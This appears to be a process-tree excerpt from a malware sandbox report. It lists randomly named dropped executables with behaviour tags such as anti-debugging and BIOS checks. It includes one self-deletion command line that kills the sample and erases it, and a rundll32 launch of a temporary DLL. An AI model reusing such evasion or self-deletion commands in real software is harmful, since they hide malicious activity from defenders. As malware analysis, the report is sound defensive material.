C:\Users\Admin\Documents\wzYWtyEqel6q33i3dO5VF8dj.exe"C:\Users\Admin\Documents\wzYWtyEqel6q33i3dO5VF8dj.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:812
-
-
C:\Users\Admin\Documents\gThHQyWGMOsz_yE_Ar6vDPlh.exe"C:\Users\Admin\Documents\gThHQyWGMOsz_yE_Ar6vDPlh.exe"2⤵
- Executes dropped EXE
PID:1796
-
-
C:\Users\Admin\Documents\AE5U78nVBS2oKQsdvKY1sU4S.exe"C:\Users\Admin\Documents\AE5U78nVBS2oKQsdvKY1sU4S.exe"2⤵
- Executes dropped EXE
PID:1896 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1896 -s 8803⤵
- Program crash
PID:756
-
-
-
C:\Users\Admin\Documents\3Jtj0AjcAx1JYLppVS_d8LqJ.exe"C:\Users\Admin\Documents\3Jtj0AjcAx1JYLppVS_d8LqJ.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1756
-
-
C:\Users\Admin\Documents\wcplv7T4nr3f6_sIyMrguuHl.exe"C:\Users\Admin\Documents\wcplv7T4nr3f6_sIyMrguuHl.exe"2⤵
- Executes dropped EXE
PID:1736
-
-
C:\Users\Admin\Documents\PxInVJRIPiTXGF60xricvBak.exe"C:\Users\Admin\Documents\PxInVJRIPiTXGF60xricvBak.exe"2⤵
- Executes dropped EXE
PID:1676 -
C:\Users\Admin\Documents\PxInVJRIPiTXGF60xricvBak.exe"C:\Users\Admin\Documents\PxInVJRIPiTXGF60xricvBak.exe"3⤵PID:2856
-
-
-
C:\Users\Admin\Documents\BwbP8LSD9bUY_iMvDg1KrMwX.exe"C:\Users\Admin\Documents\BwbP8LSD9bUY_iMvDg1KrMwX.exe"2⤵
- Executes dropped EXE
PID:1652
-
-
C:\Users\Admin\Documents\jr5sKvurQbQKNRFUoPMY_e_a.exe"C:\Users\Admin\Documents\jr5sKvurQbQKNRFUoPMY_e_a.exe"2⤵
- Executes dropped EXE
PID:1840 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "jr5sKvurQbQKNRFUoPMY_e_a.exe" /f & erase "C:\Users\Admin\Documents\jr5sKvurQbQKNRFUoPMY_e_a.exe" & exit3⤵PID:2452
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "jr5sKvurQbQKNRFUoPMY_e_a.exe" /f4⤵
- Kills process with taskkill
PID:2628
-
-
-
-
C:\Users\Admin\Documents\HiFJqoLtZxNAKgCjHV6zv_Da.exe"C:\Users\Admin\Documents\HiFJqoLtZxNAKgCjHV6zv_Da.exe"2⤵PID:776
-
-
C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe"C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe"2⤵
- Executes dropped EXE
PID:676 -
C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exeC:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe3⤵PID:1516
-
-
C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exeC:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe3⤵PID:2108
-
-
C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exeC:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe3⤵PID:2180
-
-
C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exeC:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe3⤵PID:2492
-
-
C:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exeC:\Users\Admin\Documents\jHEStSlkoGkrJiIoTABJ2vBK.exe3⤵PID:3016
-
-
-
C:\Users\Admin\Documents\H0dWHv23eLCKNDfbpCs3vUg3.exe"C:\Users\Admin\Documents\H0dWHv23eLCKNDfbpCs3vUg3.exe"2⤵
- Executes dropped EXE
PID:1804 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 8803⤵
- Program crash
PID:2696
-
-
-
C:\Users\Admin\Documents\2Z7q2IMfinmOsCZiUbFC_Muh.exe"C:\Users\Admin\Documents\2Z7q2IMfinmOsCZiUbFC_Muh.exe"2⤵
- Executes dropped EXE
PID:1704
-
-
C:\Users\Admin\Documents\7FW6i_niz4ROLdMXTPbFHXgh.exe"C:\Users\Admin\Documents\7FW6i_niz4ROLdMXTPbFHXgh.exe"2⤵
- Executes dropped EXE
PID:864
-
-
C:\Users\Admin\Documents\m4CRYehB0fGJ9a8BDG1CMGmm.exe"C:\Users\Admin\Documents\m4CRYehB0fGJ9a8BDG1CMGmm.exe"2⤵
- Executes dropped EXE
PID:1472
-
-
C:\Users\Admin\Documents\wR1w_iDvkE_vXiL9h5GRytKV.exe"C:\Users\Admin\Documents\wR1w_iDvkE_vXiL9h5GRytKV.exe"2⤵
- Executes dropped EXE
PID:1056 -
C:\Users\Admin\Documents\wR1w_iDvkE_vXiL9h5GRytKV.exe"C:\Users\Admin\Documents\wR1w_iDvkE_vXiL9h5GRytKV.exe"3⤵PID:796
-
-
-
C:\Users\Admin\Documents\KdbFpwx0zHZOvK4ZFi9S1vGK.exe"C:\Users\Admin\Documents\KdbFpwx0zHZOvK4ZFi9S1vGK.exe"2⤵
- Executes dropped EXE
PID:1564
-
-
C:\Users\Admin\Documents\5Zy951J19zQmvKVgEpP1IdKJ.exe"C:\Users\Admin\Documents\5Zy951J19zQmvKVgEpP1IdKJ.exe"2⤵
- Executes dropped EXE
PID:2216 -
C:\Users\Admin\Documents\5Zy951J19zQmvKVgEpP1IdKJ.exe"C:\Users\Admin\Documents\5Zy951J19zQmvKVgEpP1IdKJ.exe"3⤵PID:1216
-
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2808 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:2864
-